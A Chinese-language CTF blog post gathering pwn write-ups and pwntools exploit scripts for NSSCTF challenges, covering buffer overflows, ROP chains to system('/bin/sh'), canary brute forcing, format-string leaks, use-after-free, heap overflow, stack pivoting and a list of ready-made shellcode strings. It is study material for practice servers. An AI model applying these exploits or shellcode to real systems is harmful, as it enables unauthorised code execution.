超超超大杯来了

NSSCTF

[2021 鹤城杯]littleof

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

p = remote('node4.anna.nssctf.cn',28679)

elf = ELF('./littleof')

pop_rdi = 0x0400863
ret = 0x040059e
main_addr = 0x04006E2
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

#获取canary地址
payload = b'a'*(0x50-9) + b'b'  #这里0x50-9多减一个1是因为方便我们定位
p.sendlineafter('Do you know how to do buffer overflow?', payload)
p.recvuntil(b'ab\n')
canary_addr = u64(p.recv(7).rjust(8,b'\x00')) #接收anary地址,接收7个字符串不足八个用\x00补齐然后用u64进行打包(注意这里是rjust也就是右对齐字符串)
print(hex(canary_addr))


#泄露got表地址
payload2 = b'a' * (0x50-8) + p64(canary_addr) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #减去canary再buf中的大小然后加上canary地址再加上8个字节覆盖到返回地址,再加上rdi存入puts_got地址当作参数然后使用puts_plt输出puts_got地址再执行main函数
p.sendlineafter('Try harder!', payload2)
p.recvuntil(b'I hope you win')
puts_addrs = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) #接收puts函数再got表项中的地址,从\x7f开始向后接收6个字符,不足8个用\x00补齐,(注意这里是ljust也就是左对齐)
print(hex(puts_addrs))

#计算出libc基地址,此题libc查询不到!
'''
libc = LibcSearcher('puts', puts_addrs)
'''
libc_base = puts_addrs - 0x80aa0
systeam_addrs = libc_base + 0x4f550
bin_sh_addrs = libc_base + + 0x1b3e1a

#重复第一个步骤这里再次获取canary地址是因为我们再上一次payload中最后一段写入了main函数所以程序再执行完上一次的paylaod后会重新运行程序这里就重头开始了,又因为程序是需要输入两次而我们又是再第二次输入时进行构造payload返回地址所以此处我们就要再获取一次canary地址
payload3 = b'a'*(0x50-9) + b'b'  #这里0x50-9多减一个1是因为方便我们定位
p.sendlineafter('Do you know how to do buffer overflow?', payload3)
p.recvuntil(b'ab')
canary_addr2 = u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary_addr2))

#构造shellcode
payload4 = b'a' * (0x50-8) + p64(canary_addr) + p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh_addrs) + p64(systeam_addrs)  #构造第二次payload这里添加ret的地址是为了保证栈对齐。
p.sendlineafter('Try harder!', payload4)


p.interactive()

[LitCTF 2023]口算题卡

from pwn import *
context.log_level = 'debug'
io = remote("node4.anna.nssctf.cn",28257)
io.recvuntil(b"is ")
for i in range(100):
  io.recvuntil(b"is ")
  a = io.recv()[0:-2]
  a_text = a.decode()

  result = eval(a_text)

  io.sendline(str(result).encode())
io.interactive()

[WUSTCTF 2020]getshell2

from pwn import *
io = remote('node5.anna.nssctf.cn', 20971)
sh = 0x08048670
call_sys = 0x8048529
payload = b'A'*(0x18+4) + p32(call_sys) +p32(sh)
io.sendline(payload)
io.interactive()

[HNCTF 2022 Week1]fmtstrre

#爆破法,不够优雅,有gdb调试查到是0x20的位置,然后加六个寄存器地址的说法
#0x20 = 32   || 32+6 = 38
#所以是%38$s
from pwn import *


context.log_level = 'debug'

host = 'node5.anna.nssctf.cn'
port = 23089
start = 1  # 起始偏移量

while True:
   try:
       io = remote(host, port)
       # 接收初始提示信息
       io.recvuntil('Input your format string.')

       # 发送当前偏移量的payload
       payload = f'%{start}$s'.encode()
       io.sendline(payload)

       # 接收响应
       io.recvline()  # 接收"Ok."
       res = io.recvline()
       print(f'Offset {start}: {res.decode().strip()}')

       start += 1  # 偏移量+1
       io.close()

   except EOFError:
       print(f'断开连接,尝试下一个偏移量: {start + 1}')
       start += 1  # 断联后偏移量+1
       try:
           io.close()
       except:
           pass
   except Exception as e:
       print(f'错误: {e},继续测试偏移量: {start}')
       try:
           io.close()
       except:
           pass

[NISACTF 2022]UAF

main函数纯打印菜单的

没啥东西

进菜单操作里看

看到这里对i = 0的情况做了保护

仔细观察后,发现基本上都有包含0的情况并进行处理

但是del函数没有对i = 0进行包含处理

前面的对i = 0的情况进行包含,导致了我们无法直接对页面0的内容进行edit操作

所以我们需要先申请一个,然后释放掉,因为它指针没置零

所以当我们再申请的时候,因为大小是一样的,所以还是原来的那个堆块,那个指针也还在,这个时候只要我们对其进行edit操作然后用show去展示内容,就能完成getshell

欸,为什么就getshell了,因为这题给了system(command);

所以转到getshell的地址就好了

因为page 即 &(page[0]),page+1即&(page[1]) ,func在page[0]向后偏移4byte处,所以argu不能太长,必须小于4byte

所以在传入进shell的命令时,要注意构造:’/bin/sh0x00’太长了,换成‘sh\x00\x00’,共4byte + getshell_addr

from pwn import *
context.log_level = 'debug'
io = remote('node4.anna.nssctf.cn', 28245)
​
backdoor = 0x8048642
​
​
# payload = b'sh\x00\x00' + p32(backdoor)
payload = b'sh;\00' + p32(backdoor)
​
def create():
    io.sendline(b'1')
​
def delete():
    io.sendline(b'3')
    io.sendline(b'0')
​
def edit():
    io.sendline(b'2')
    io.sendline(b'1')
    io.sendline(payload)
​
def show():
    io.sendline(b'4')
    io.sendline(b'0')
​
create()
delete()
create()
edit()
show()
​
io.interactive()

[BJDCTF 2020]YDSneedGirlfriend

from pwn import *
context.log_level = 'debug'


io = remote('node4.anna.nssctf.cn', 28929)


backdoor = 0x400B9C
payload = p64(backdoor)


def add(size, data):
   io.sendline(b'1')  # 发送选项1
   io.recvuntil(b'Her name size is :')  # 等待size输入提示
   io.sendline(str(size).encode())  # 发送size
   io.recvuntil(b'Her name is :')  # 等待name输入提示
   io.sendline(data)  # 发送name内容

def delete(idx):
   io.sendline(b'2')  # 发送选项2
   io.recvuntil(b'Index :')  # 等待索引输入提示
   io.sendline(str(idx).encode())  # 发送索引

def show(idx):
   io.sendline(b'3')  # 发送选项3
   io.recvuntil(b'Index :')  # 等待索引输入提示
   io.sendline(str(idx).encode())  # 发送索引


# 利用流程:严格按堆分配逻辑执行
add(0x30, b'aaa')  # 分配第1个对象(A0+B0)
add(0x30, b'bbb')  # 分配第2个对象(A1+B1)
delete(0)          # 释放A0和B0(UAF)
delete(1)          # 释放A1和B1(UAF)

# 分配0x10大小的B chunk,重用A0的地址,覆盖函数指针
add(0x10, payload)

show(0)  # 触发被覆盖的函数指针,执行backdoor


io.interactive()



# from pwn import *
# context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28254)
#
#
# def add(size,data):
#     io.sendlineafter("Your choice :", "1")
#     io.sendlineafter("Her name size is :", str(size))
#     io.sendlineafter("Her name is :", data)
#
# def delete(index):
#     io.sendlineafter("Your choice :", "2")
#     io.sendlineafter("Index :", str(index))
#
#
# def show(index):
#     io.sendlineafter("Your choice :", "3")
#     io.sendlineafter("Index :", str(index))
#
# backdoor=0x400B9C
#
# add(0x30,'aaa')
# add(0x30,'bbb')
#
# delete(0)
# delete(1)
#
# add(0x10,p64(backdoor))
# show(0)
# io.interactive()

[HNCTF 2022 Week1]ezr0p32

from pwn import *
io  = remote('node5.anna.nssctf.cn', 26331)

system = 0x080483D6
sh = 0x804A080

payload1 = b'bin/sh\x00'
io.sendline(payload1)

payload2 = b'a'*(28+4) + p32(system) + p32(0) +p32(sh)
io.sendline(payload2)
io.interactive()

[HDCTF 2023]Makewish

栈迁移 + off by null + 伪随机数,伪随机数能拿gdb找出来

from pwn import *

context(arch='amd64',log_level='debug')


# gdb.attach(io)
# raw_input()
while(1):
   io=remote('node4.anna.nssctf.cn',28167)
   io.recvuntil(b'name\n\n')
   io.sendline(b'a'*39+b'b')
   io.recvuntil(b'aaab')
   canary=u64(io.recv(8))-0x0a
   success(hex(canary))

   
   num=707
   io.send(p32(num))

   io.recvuntil(b'can make a wish to me\n')
   raw_input()
   backdoor=0x4007C7
   payload=p64(backdoor)*11+p64(canary)
   io.send(payload)
   raw_input()

   io.interactive()

[NISACTF 2022]ezheap

先直接exp起手:

from pwn import *
#io = process("./ezheap")
io = remote("node5.anna.nssctf.cn",26582)

payload = b'a'*28 + p32(0x21) +b'/bin/sh\x00'

#gdb.attach(io)
io.send(payload)
io.interactive()

这题的意义就在于堆管理机制的学习

堆这个东西很抽象(我认为

原样:

利用效果:

众所不周知啊,32位和64位在申请堆块的时候会有一些奇奇怪怪的事情

也就是申请到的大小和写的申请大小不一样

这里就稍微写详细一点吧

由于堆管理机制的问题

用户申请的大小,会先判断是否是8的倍数

如果是,那就不管了就这样吧

如果不是就补足空字节保证满足是8的倍数,以方便进行堆管理

然后补足后,32位会加4字节的头

以此类推,64位会加8字节()

好,言归正传回到题目

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char *command; // [esp+8h] [ebp-10h]
 char *s; // [esp+Ch] [ebp-Ch]

 setbuf(stdin, 0);
 setbuf(stdout, 0);
 s = (char *)malloc(0x16u);
 command = (char *)malloc(0x16u);
 puts("Input:");
 gets(s);
 system(command);
 return 0;
}

是吧,定义俩指针,然后malloc这样两块

0x16 = 22

不够,填空字节进去

这个时候gdb调试的结果长这样:

这里是只进行了第一次malloc的效果,可以看到,明明只要了0x16 = 22

实际上给了从0x804b1a0到0x804b1bc的长度

也就是28字节(粉色内容)

等到第二次malloc完成,情况也是类似

好了,第二次malloc的内容不就是我们要的command嘛

它输入没有验证输入长度

所以,堆溢出不就来了嘛

先写28字节垃圾数据

然后,那个0x21是干嘛的呢,就是标长度的,要是想保留一点原汁原味,填完垃圾数据再p32(0x21)就好了

反正它只是标注,不影响实际的内存区域分配,别把我们想写的/bin/sh写到那里去就行了

所以相当于你填28+4 的垃圾数据进去都没事,反正都一样

完了直接system(“/bin/sh”);

没了,get shell

[NISACTF 2022]shop_pwn

好东西,又是条件竞争,这题当条件竞争入门题感觉挺不错的

main指向game()

game()没什么好说的

void __noreturn game()
{
 int v0; // eax
 int i; // [rsp+Ch] [rbp-4h]

 while ( 1 )
{
   while ( 1 )
  {
     puts("     Welcome to my shop     ");
     puts("+===========================+");
     puts("| No|       | Sell| Recycle|");
     puts("+===+========+=====+========+");
     for ( i = 0; i <= 15; ++i )
    {
       if ( *(_DWORD *)&gd[24 * i + 16] )
         printf(
           "| %d | %-4s   | %3d |   %3d |\n",
           i,
           &gd[24 * i],
           *(_DWORD *)&gd[24 * i + 16],
           *(_DWORD *)&gd[24 * i + 20]);
    }
     puts("+===========================+");
     puts("1. look bags\n2. buy goods\n3. sale goods");
     printf("> ");
     v0 = read_int();
     if ( v0 != 2 )
       break;
     buy();
  }
   if ( v0 > 2 )
  {
     if ( v0 == 3 )
    {
       sale();
    }
     else
    {
       if ( v0 == 4 )
         exit(0);
LABEL_17:
       puts("Invalid!");
    }
  }
   else
  {
     if ( v0 != 1 )
       goto LABEL_17;
     look();
  }
}
}

常规买卖交易

买也会创建新的线程让新线程运行to_buy函数

但是to_buy函数没有延时,条件竞争打不了

但是卖可以

那么目标就是反复卖出赚米

欸,那我们怎么反复卖呢

先1看看

开局一支笔,那有办法了

直接开卖,就利用to_Sale存在的延时,在那段时间里疯狂的卖出pen

卖完钱就够买flag了

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

io = remote('node5.anna.nssctf.cn', 23623)
# io = process('./[NISACTF 2022]shop_pwn')



io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'2')
io.sendline(b'1')

io.interactive()

[CISCN 2023 初赛]funcanary

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 __pid_t v3; // [rsp+Ch] [rbp-4h]

 sub_1243();
 while ( 1 )
{
   v3 = fork();
   if ( v3 < 0 )
     break;
   if ( v3 )
  {
     wait(0LL);
  }
   else
  {
     puts("welcome");
     sub_128A();
     puts("have fun");
  }
}
 puts("fork error");
 exit(0);
}

fork函数

合理了

canary为标题,这里猜都知道是要靠爆破了

爆破的思路仍然是老一套

(可以参考pwn119)

先不急,继续往下看

unsigned __int64 sub_128A()
{
 _BYTE buf[104]; // [rsp+0h] [rbp-70h] BYREF
 unsigned __int64 v2; // [rsp+68h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 read(0, buf, 0x80uLL);
 return v2 - __readfsqword(0x28u);
}

溢出点找到

from pwn import *
io = process("./service")

'接受杂质消息'
io.recvuntil(b'welcome\n')


canary = b'\x00'
for k in range(7):
for i in range(256):
io.send(b'a'*(0x70-8) + canary + p8(i))
response = io.recvuntil('welcome\n')
if b'fun' in response:
canary += p8(i)
print(b'canary: ',canary)
break


cat = 0x0231

while(1):
for i in range(16):
payload = b'a'*(0x70-8) + canary + b'a'*(8) + p16(cat)
io.send(payload)
response = io.recvuntil("welcome\n")
print(response)
if b'welcome' in response:
cat += 0x1000
continue
if b'{' in response:
print(response)
break


io.interactive()

轮着解释一下exp

第一步的两个嵌套for循环就是为了爆canary

因为保护全开的原因,存在pie

所以我们看到的cat flag这个指令的位置也是不确定的

但是内存分页机制就效果就是能让我们通过爆破强解

这就完事了

[HUBUCTF 2022 新生赛]fmt

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
 FILE *stream; // [rsp+8h] [rbp-68h]
 char format[32]; // [rsp+10h] [rbp-60h] BYREF
 char s[8]; // [rsp+30h] [rbp-40h] BYREF
 __int64 v6; // [rsp+38h] [rbp-38h]
 __int64 v7; // [rsp+40h] [rbp-30h]
 __int64 v8; // [rsp+48h] [rbp-28h]
 __int64 v9; // [rsp+50h] [rbp-20h]
 __int64 v10; // [rsp+58h] [rbp-18h]
 __int16 v11; // [rsp+60h] [rbp-10h]
 unsigned __int64 v12; // [rsp+68h] [rbp-8h]

 v12 = __readfsqword(0x28u);
 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stderr, 0LL, 2, 0LL);
 stream = fopen("flag.txt", "r");
 *(_QWORD *)s = 0LL;
 v6 = 0LL;
 v7 = 0LL;
 v8 = 0LL;
 v9 = 0LL;
 v10 = 0LL;
 v11 = 0;
 if ( stream )
   fgets(s, 50, stream);
 HIBYTE(v11) = 0;
 while ( 1 )
{
   puts("Echo as a service");
   gets(format);
   printf(format);
   putchar(10);
}
}

GDB调试运行到这个位置

欸,直接偏移就能找到了嘛

这里gets存进的是format

而format是32字节

所以这里的长度就是

0x40 / 8 + 32/8 = 8 + 4 = 12

但是,去实际尝试发现12并不行,实际上应该往后挪一位才是真正的偏移值

但是又有问题,它输出的值是16进制的,所以还得再转一次ascll

转转就好了()

注意换成小端序

[HNCTF 2022 Week1]safe_shellcode

没啥好说的

但是记录一下这个:

# 32位 短字节shellcode --> 21字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

# 32位 scanf可读取的shellcode
\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh

# 64位 scanf可读取的shellcode 22字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

# 64位 较短的shellcode 23字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

[HNCTF 2022 Week1]ezcmp

x/10gx *0x404100

p64分段传入

[SWPUCTF 2022 新生赛]Integer Overflow

from pwn import *
#io = process("./pwn")
io = remote("node5.anna.nssctf.cn",21127)

io.sendline(b'1')
io.sendline(b'-1')

offset = 0x20 + 4
bin_sh = 0x804A008
system = 0x80494FB
ret = 0x0804900e


pd = b'a' * offset
pd += p32(system)
pd += p32(bin_sh)


# gdb.attach(io)

io.sendline(pd)
io.interactive()

[深育杯 2021]find_flag

from pwn import *
context.log_level = 'debug'
io = remote("node4.anna.nssctf.cn",28334)
# io = process("./find_flag")


io.sendlineafter(b'name?', b'%17$p.%19$p')
io.recvuntil(b'you, ')
leak = io.recvuntil(b'!')[0:-1]


leak_str = leak.decode()
canary_str, stack_str = leak_str.split('.')  
canary = int(canary_str, 16)  
stack_addr = int(stack_str, 16)  


success(f"canary: {hex(canary)}")
success(f"stack_addr: {hex(stack_addr)}")


base_addr = stack_addr - 0x146F
flag_addr = base_addr + 0x1231
success(f"flag_addr: {hex(flag_addr)}")


pd = b'a'*(0x40 - 0x8) + p64(canary) + p64(0) + p64(flag_addr)

io.sendline(pd)
io.interactive()

有手就行的栈溢出

from pwn import *
io = remote("node5.anna.nssctf.cn",29100)


ret = 0x000000000040101a
backd = 0x0000000000401257

payload = b'a'*(32+8) + p64(ret) +p64(backd)

io.sendline(payload)
io.interactive()

[BJDCTF 2020]babyrop

from pwn import *


io = remote('node4.anna.nssctf.cn',28199)
# io=process("./pwn")
elf = ELF('./pwn')
libc= ELF(elf.libc.path)

ret_add =0x00000000004004c9
pop_rdi =0x0000000000400733
main_add =0x0000000004006AD
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x20

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'story!', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))



libc_base = puts_addr - 0x4ef50
system_add = libc_base + 0x24c50
bin_sh_add = libc_base + 0x16c617

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'story!', payload2)

io.interactive()

[CISCN 2019东北]PWN2

放太久忘了,好像是本地就是打不通,远程能过

但是有俩exp,想不起来到底哪版能用了,都贴一份以示敬意()

from pwn import *
context.log_level = "debug"

#io = remote("node5.anna.nssctf.cn",28952)
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc6_2.27-0ubuntu2_amd64.so")


ret = 0x00000000004006b9
pop_rdi = 0x0000000000400c83
puts_plt = elf.plt['puts']  
puts_got = elf.got['puts']
en_addr = 0x00000000004009A0

print(hex(puts_plt))
print(hex(puts_got))



offset = 0x50+8

io.sendlineafter(b"Input your choice!\n", b'1')


pd = b'A' * offset          
pd += p64(pop_rdi)          
pd += p64(puts_got)        
pd += p64(puts_plt)        
pd += p64(en_addr)

#gdb.attach(io)
io.sendlineafter(b"Input your Plaintext to be encrypted\n", pd)

leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.info(f"Leaked puts@libc: {hex(leak)}")


libc_base = leak - libc.sym['puts']
log.info(f"Libc base: {hex(libc_base)}")
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))


log.success(f"system:{hex(system_addr)}")
log.success(f"bin_sh:{hex(binsh_addr)}")

pd2  = b'a' * offset                  
pd2 += p64(pop_rdi)    
pd2 += p64(binsh_addr)    
pd2 += p64(ret)
pd2 += p64(system_addr)

io.sendlineafter(b"Input your Plaintext to be encrypted\n", pd2)

io.interactive()
from pwn import *
leak = lambda name,content: log.success('{}={:#x}'.format(name,content))
p = process("./pwn")
p.sendline(b'1')
elf = ELF('./pwn')
rdi = 0x0400c83
ret = 0x04006b9
encrypt_addr = 0x04009A0
main_addr = 0x0400B28
strlen_got = elf.got['strlen']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = b'a'*(0x50+8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
p.sendline(payload)
p.recvuntil(b'oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\x83\x0c@\n')
puts_addr = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
leak('puts_addr',puts_addr)
libc = ELF('./libc6_2.27-0ubuntu2_amd64.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
leak('libc_base',libc_base)
leak('system_addr',system_addr)
leak('bin_sh',bin_sh)
payload1 = b'a'*0x50 + b'a'*8 +p64(rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)
p.send(payload1)
p.interactive()

[CISCN 2019华南]PWN3

from pwn import *
context.log_level = 'debug'

io = process("./pwn")

offset = 0x10 + 8
gadget = 0x0000000004004D6
ret = 0x00000000004003a9

pd = b'a'*offset
pd += p64(ret)
pd += p64(gadget)


gdb.attach(io)
io.send(pd)

io.interactive()

[CISCN 2023 初赛]烧烤摊儿

from pwn import *


context(os="linux", arch="amd64", log_level="debug")

io = remote("node4.anna.nssctf.cn",28253)


io.sendlineafter(b'> ', b'2')
io.sendline(b'1')
io.sendline(b'-999999')
io.sendline(b'4')
io.sendline(b'5')

syscall         = 0x0000000000402404
pop_rdi_ret     = 0x000000000040264f
pop_rdx_rbx_ret = 0x00000000004a404b
pop_rsi_ret     = 0x000000000040a67e
name            = 0x00000000004E60F0
pop_rax_ret     = 0x0000000000458827
ret             = 0x000000000040101a
payload = b'/bin/sh\x00' + b'a' * 0x20 + p64(pop_rax_ret) + p64(59) + p64(pop_rdi_ret) + p64(name) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0) + p64(0) + p64(syscall)
io.sendlineafter("请赐名:\n", payload)

io.interactive()

[CISCN 2023 初赛]funcanary

from pwn import *
elf = ELF('./service')
p = process('./service')
#p=remote('node5.anna.nssctf.cn',27873)
p.recvuntil('welcome\n')
canary = b'\x00'

for k in range(7):
   for i in range(256):
       p.send(b'a'*0x68 + canary + p8(i))
       a = p.recvuntil("welcome\n")
       if b"fun" in a:
               canary += p8(i)
               print(b"canary: " + canary)
               break              
catflag = 0x0231
while(1):
   for i in range(16):
       payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
       p.send(payload)
       #pause()
       a = p.recvuntil("welcome\n",timeout=1)
       print(a)
       if b"welcome" in a:
               catflag += 0x1000
               continue
       if b"NSSCTF" in a:
           print(a)
           break

p.interactive()

[HDCTF 2023]pwnner

from pwn import *
io = remote("node5.anna.nssctf.cn",21999)
payload=b'a'*(0x40+0x08)+p64(0x4008B2)
io.sendlineafter(b'name:',b'1956681178')
io.sendlineafter(b'next?',payload)
io.interactive()

[HNCTF 2022 Week1]ezr0p64

from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")


io = remote("node5.anna.nssctf.cn",27494)

io.recvuntil(b'Gift :')
puts_addr = io.recvuntil(b'\n')[0:14]
success(f"puts_addr : {puts_addr}")

libc_base = int(puts_addr,16) - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

offset = 0x100 + 8

ret = 0x000000000040101a
rdi = 0x00000000004012a3
pd = b'a' * offset
pd += p64(ret)
pd += p64(rdi)
pd += p64(bin_sh_add)
pd += p64(system_add)

io.sendline(pd)

io.interactive()

[HNCTF 2022 Week1]safe_shellcode

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote("node5.anna.nssctf.cn",29442)
#io = process('./pwn')

shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()

[LitCTF 2023]狠狠的溢出涅~

from pwn import *
context.log_level = 'debug'

io = remote('node4.anna.nssctf.cn',28296)
#io=process("./pwn")
elf = ELF('./pwn')
libc= ELF('./libc-2.31.so')

ret_add =0x0000000000400556
pop_rdi =0x00000000004007d3
main_add =0x0000000004006B0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x67
payload1 = b'\x00'
payload1 += b'a' * (offset) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'message:', payload1)
io.recvuntil(b'Received\n')

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))



libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'\x00'
payload2 += b'a' * (offset) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'message:', payload2)
io.recv()


io.interactive()

[HDCTF 2023]KEEP ON

好像一直没有专门写过完整的栈迁移

就补个档吧

__int64 vuln()
{
 char s[80]; // [rsp+0h] [rbp-50h] BYREF

 memset(s, 0, sizeof(s));
 puts("please show me your name: ");
 read(0, s, 0x48uLL);
 printf("hello,");
 printf(s);
 puts("keep on !");
 read(0, s, 0x60uLL);
 return 0LL;
}

%p基础调试定位格串栈偏移

测出来是s数组在6

s在rbp-50的地方

0x50/8 = 10

10+6 = 16

rbp在栈上的偏移就找到了

泄露一下就好了

leave

retn

这俩就是栈迁移的最核心之处了

其相当于

mov rsp rbp;

pop rbp

此时rsp与rbp位于了一个地址,可以现在把它们指向的那个地址,即当成栈顶又可以当成是栈底。然后pop rbp,将栈顶的内容弹入rbp(此时栈顶的内容也就是rbp的内容,也就是说现在把rbp的内容赋给了rbp)。因为rsp要时刻指向栈顶,既然栈顶的内容都弹走了,那么rsp自然要往下挪一个内存单元

说回题目,为什么S又等于rbp – 0x60了呢?

emmmm,gdb调调看就好了,不多写了,两次读入,第一次泄露第二次输个bbbb,search bbbb嘛()

欸,这下pd就能写了

rdi有的,leave有的,syscall有的

栈溢出也看到了

ROP链就好写了

好像写的pd可读性比较差……

先写东西

vuln 函数的返回流程是固定的:leave(原指令)→ retn(原指令),通过 pd 覆盖了两个关键地址,让这个流程变成 “栈迁移触发流程”:

  • 覆盖「保存的 rbp」:pd 末尾的p64(s) → 把栈帧基址改成 s;
  • 覆盖「返回地址」:pd 末尾的p64(leave) → 把返回地址改成 leave 指令地址。

阶段 1 的执行步骤(函数返回时,早于所有 ROP 指令):

  1. 执行原函数的leave指令:
    • mov rsp, rbp → rsp 跳转到你覆盖的「保存的 rbp」=s;
    • pop rbp → rsp+8,rbp 被更新为 s(此时 rbp 已无关紧要);
  2. 执行原函数的retn指令:
    • 弹出栈顶的「返回地址」=leave(你覆盖的),跳转到 leave 指令执行;
  3. 执行你覆盖的leave指令(第二次执行 leave):
    • mov rsp, rbp → rsp 再次重置为 s(栈迁移的核心一步,把 rsp 固定到 s 数组起始);
    • pop rbp → rsp+8,但此时 rsp 已经指向 s 数组,栈迁移完成

栈迁移完成后,rsp 固定在 s 数组起始地址(s),程序的指令指针(rip)会自动指向 s—— 也就是 pd 前面的p64(0)地址,开始执行 ROP 链:

  • 第一步:执行p64(0)(无效指令);
  • 第二步:执行p64(ret)(衔接指令);
  • 第三步:执行p64(pop_rdi)(传参指令);
  • … 后续执行system调用。
from pwn import *
io = process("./hdctf")
# io = remote("node4.anna.nssctf.cn",28828)
elf = ELF("./hdctf")


pop_rdi = 0x00000000004008d3
ret = 0x00000000004005b9
syscall = elf.plt["system"]
leave = 0x00000000004007f2

#gdb.attach(io)
io.sendline(b'%16$p')
io.recvuntil(b'hello,')
rbp = int(io.recv()[2:14],16)

rbp_addr = hex(rbp)
success(f"rbp_addr = {rbp_addr}")

s = rbp - 0x60
s_addr = hex(s)
success(f" s_addr = {s_addr}")

pd = b'aaaaaaaa'  
pd += p64(ret)
pd += p64(pop_rdi)
pd += p64(s + 0x8*5)
pd += p64(syscall)
pd += b'/bin/sh\x00'
pd = pd.ljust(0x50,b'a')
pd += p64(s)
pd += p64(leave)
print(pd)

io.send(pd)




io.interactive()

[CISCN 2019东南]PWN2

怀疑就是keepon母题

32位版本而已

改写一点点就好了

就不多写了,exp里还算有点注释,希望以后的自己/看我博客的后生看得懂(好吧,实际上是我熬不动了,就这样吧)

from pwn import *
context.log_level = 'debug'
#io = process("./pwn")
io = remote("node5.anna.nssctf.cn",26611)
elf = ELF("./pwn")

syscall = 0x08048559
ret = 0x080483a6
leave = 0x08048562
#泄漏rbp地址
pd = b'a'*0x28
io.send(pd)
io.recvuntil(pd)

rbp = u32(io.recv(4))
print(hex(rbp))

#地址计算
#ebp 0xffffcd68 —▸ 0xffffcd78 ◂— 0
#ebp 前后变化0x10
padding = 0x10
#s_size
s = 0x28
#目标target地址
target = rbp - padding - s

#构造rop链
pd2 = p32(0)
pd2 += p32(ret)
pd2 += p32(syscall)
pd2 += p32(target+0x4*4)
pd2 += b'/bin/sh\x00'
pd2 = pd2.ljust(0x28,b'a')
pd2 += p32(target)
pd2 += p32(leave)

io.send(pd2)

io.interactive()

突然想起来做的时候忘了的一个小细节,还是决定补充一下

这里u32能打包到数据的原因是

printf的截止是靠收到\0判断

只要把s数组全部覆盖掉,不多覆盖pre_rbp的四字节内容

就能接收到s数组后面的内容

